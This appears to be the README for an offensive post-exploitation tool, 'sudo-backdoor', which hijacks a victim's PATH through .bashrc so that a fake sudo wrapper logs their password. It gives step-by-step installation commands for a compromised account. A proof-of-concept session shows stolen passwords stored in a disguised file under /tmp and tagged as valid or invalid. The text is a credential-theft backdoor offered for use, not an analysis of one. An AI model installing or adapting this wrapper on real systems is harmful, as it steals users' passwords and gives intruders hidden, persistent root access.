sudo-backdoor

Wraps around sudo and logs user:password entries, for those annoying times when you get a shell on a sudoers account without knowing their password.

Installation

Append the following line to the target user's .bashrc (or their appropriate shell's rc file) by running the following command:

$ echo "export PATH=~/.payload:$PATH" >> ~/.bashrc

Then, create ~/.payload/sudo and paste the code found in sudo.sh in there.

Don't forget to make the bash script executable by issuing the following command:

$ chmod a+x ~/.payload/sudo

Obviously you might have to adapt this installation recipe to fit the user's shell. If they are using zsh, then install to ~/.zshrc, etc.

Example

Proof of concept: foobar is the target with password foobarz1

[foobar:~]$ tail -n 1 ~/.bashrc
export PATH=~/.payload:$PATH
[foobar:~]$ ls -la ~/.payload/sudo 
-rwxr-xr-x 1 foobar foobar 420 Aug 16 01:21 /home/foobar/.payload/sudo
[foobar:~]$ sudo id
[sudo] password for foobar: # A wrong password is inserted here
Sorry, try again.
[sudo] password for foobar: # The correct password is inserted here
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log) 
[foobar:~]$ cat /tmp/.ICE-unix-test 
foobar:barbaz:invalid
foobar:foobarz1:valid
[foobar:~]$ sudo id # System remembers previous authentification
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)